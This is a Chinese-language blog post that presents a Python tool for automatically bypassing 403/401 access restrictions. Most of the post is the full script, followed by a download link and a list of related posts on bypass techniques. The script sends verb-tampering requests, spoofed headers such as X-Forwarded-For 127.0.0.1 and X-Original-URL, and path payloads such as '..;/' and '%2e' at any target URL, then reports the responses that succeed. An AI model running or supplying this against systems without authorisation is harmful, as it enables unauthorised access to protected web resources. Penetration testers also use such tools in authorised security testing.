一款自动化的403/401绕过测试工具

工具介绍

一款自动化的403/401绕过测试工具,集成了路径规范化、请求头注入及谓词篡改等多种实战技巧。

工具使用

复制代码
python run.py -u http://xx.com

run.py

复制代码
import requests
import argparse
import urllib3
from urllib.parse import urlparse

# 忽略 SSL 警告
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class BypassScanner:
    def __init__(self, target_url):
        self.target = target_url.rstrip('/')
        self.path = urlparse(target_url).path
        self.headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AF-Service-Scanner/1.0"
        }

    def scan(self):
        print(f"[*] Starting Bypass Scan for: {self.target}\n")
        
        # 1. 谓词篡改 (Verb Tampering)
        methods = ["GET", "POST", "HEAD", "PUT", "TRACE", "OPTIONS"]
        for m in methods:
            self._request(m, self.target, title=f"Method: {m}")

        # 2. Header 注入
        bypass_headers = [
            {"X-Forwarded-For": "127.0.0.1"},
            {"X-Custom-IP-Authorization": "127.0.0.1"},
            {"X-Original-URL": self.path},
            {"X-Rewrite-URL": self.path},
            {"X-Remote-IP": "127.0.0.1"},
            {"X-Host": "127.0.0.1"}
        ]
        for h in bypass_headers:
            self._request("GET", self.target, headers=h, title=f"Header: {list(h.keys())[0]}")

        # 3. 路径变形 (Path Fuzzing)
        # 包含你提到的 ..;/ 和 ../
        path_payloads = [
            f"{self.target}/",
            f"{self.target}/.",
            f"{self.target}..;/",
            f"{self.target}/..;/",
            f"{self.target}/%2e/",
            f"{self.target}//",
            f"{self.target}.json"
        ]
        for p in path_payloads:
            self._request("GET", p, title=f"Path: {p.replace(self.target, '')}")

    def _request(self, method, url, headers=None, title=""):
        test_headers = self.headers.copy()
        if headers:
            test_headers.update(headers)
        
        try:
            resp = requests.request(method, url, headers=test_headers, verify=False, timeout=5, allow_redirects=False)
            color = "\033[92m" if resp.status_code == 200 else "\033[90m"
            print(f"{color}[{resp.status_code}] {title} \033[0m")
        except Exception as e:
            print(f"[!] Error on {title}: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="403/401 Bypass Automation Tool")
    parser.add_argument("-u", "--url", required=True, help="Target URL (e.g., https://example.com/admin)")
    args = parser.parse_args()

    scanner = BypassScanner(args.url)
    scanner.scan()

工具下载

复制代码
https://github.com/Adonis-363/403-
相关推荐
码农12138号1 个月前
网络安全-绕过技巧(WAF、白名单、黑名单)总结
web安全·网络安全·绕过·过滤绕过
_BlackBeauty5 个月前
ctfshow_萌新web9-web15-----rce
ctf·绕过·rce·flag
CVE-柠檬i1 年前
渗透测试-前端验签绕过之SHA256
网络安全·签名·绕过·yakit·yaklang
网络研究院1 年前
新工具可绕过 Google Chrome 的新 Cookie 加密系统
前端·chrome·系统·漏洞·加密·绕过
板栗妖怪1 年前
一道xss题目--intigriti-0422-XSS-Challenge-Write-up
安全·渗透·xss·绕过·dom型xss
板栗妖怪1 年前
xss靶场 pwnfunction WW3
学习·安全·jquery·渗透·xss·绕过·dom型xss
板栗妖怪1 年前
portswigger的Exploiting DOM clobbering to enable XSS
安全·渗透·xss·绕过·dom型xss
板栗妖怪1 年前
RCE的另外一些绕过练习
安全·php·渗透·绕过·rce·rce绕过
迷失的黑色精灵2 年前
upload-labs第二关第五关
前端·javascript·漏洞·绕过·上传文件·木马·upload-labs